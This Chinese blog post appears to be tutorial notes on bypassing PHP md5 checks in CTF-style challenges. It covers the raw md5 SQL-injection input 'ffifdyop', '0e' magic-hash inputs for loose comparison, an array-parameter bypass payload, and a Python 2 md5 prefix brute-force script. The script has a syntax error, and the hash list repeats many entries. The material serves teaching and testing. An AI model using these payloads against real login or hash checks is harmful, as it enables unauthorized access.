PHP中md5绕过

一、md5($password,true)的SQL注入问题

这里要提到一下MySQL中的数值比较问题。

 

1、当数字和字符串比较时,若字符串的数字部分(需要从头开始)和数字是相同的,那么则返回的是true。

select if(1="1abcd","等于","不等于") as test;

 

 

if(exp1,stat1,stat2)类似于高级语言中三元运算符。当exp1为true的是否返回stat1,为false返回stat2。

 

2、以数字开头的字符串,若开头的字符不是0,那么在做逻辑运算的时候返回的是1,也就是true。

select * from user where password =''or'1234a';

 

看一下这个php md5($pass,true) 的漏洞:

  

select * from user where password = md5($pass,true);

 

 

 

可以看到这里的raw参数是True,为返回原始16字符二进制格式。

 

也就是说当md5函数的第二个参数为true时,该函数的输出是原始二进制格式,会被作为字符串处理。

如果构造一个'or'xxx'的密码,只要后面的字符串为真即可。那么可以根据32位16进制的字符串来查找,'or'对应的16进制是276f7227,所以我们的目标就是要找一个字符串,取32位16进制的md5值里带有276f7227这个字段的,在276f7227这个字段后面紧跟一个数字(除了0)1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是含有276f7227+(31-39)这个字段,就可以满足要求。

 

则拼接后构成的SQL语句为:

 

select * from user where password=''or'1asodijfoi';

 

select * from user where password=''or'1abcdefg'    --->  True
select * from user where password=''or'0abcdefg'    --->  False
select * from user where password=''or'1'           --->  True
select * from user where password=''or'2'           --->  True
select * from user where password=''or'0'           --->  False

 

只要'or'后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点。

目前只知道用这个字符串 ffifdyop 具体怎么来的,目前脚本还在研究中。

 

二、两变量值不相等,md5计算散列值后相等的绕过

  • ==的绕过

PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。

PHP在处理哈希字符串的时候,它把每一个以0e开头的哈希值都解析为0。

注意:==号相等必须满足0e后面全是数字,若存在字母则不行。

<?php
    if($_GET['a'] !== $_GET['b']){
        if(md5($_GET['a']) == md5($_GET['b'])){
            echo "flag";
        }
    }
?>

 

常见的如下:

在md5加密后以0E开头

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a

 

  • ===的绕过

===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。

<?php
    if($_GET['a'] !== $_GET['b']){
        if(md5($_GET['a']) === md5($_GET['b'])){
            echo "flag";
        }
    }
?>

 

payload: /?a[]=1&b[]=2 (上面==的例子也可以用数组绕过)

 

 

三、MD5碰撞

 

脚本:

# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,. start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start+str_len] == substr:
            print rnds
            stop_event.set()
            '''
            #碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start+str_len] == substr:
                print rnds+ "=>" + value+"=>"+ md5.hexdigest()  + "\n"
                stop_event.set()
            '''

if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

还有MD5和双MD5以后的值都是0e开头的

  • CbDLytmyGm2xQyaLNhWn
  • 770hQgrBOjrcqftrlaZk
  • 7r4lGXCH2Ksu2JNT3BYM

 

正常0e开头:

QNKCDZO
0e830400451993494058024219903391

240610708
0e462097431906509019562988736854

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020

 

posted @ 2020-10-14 11:53  du1ge  阅读(767)  评论(0编辑  收藏  举报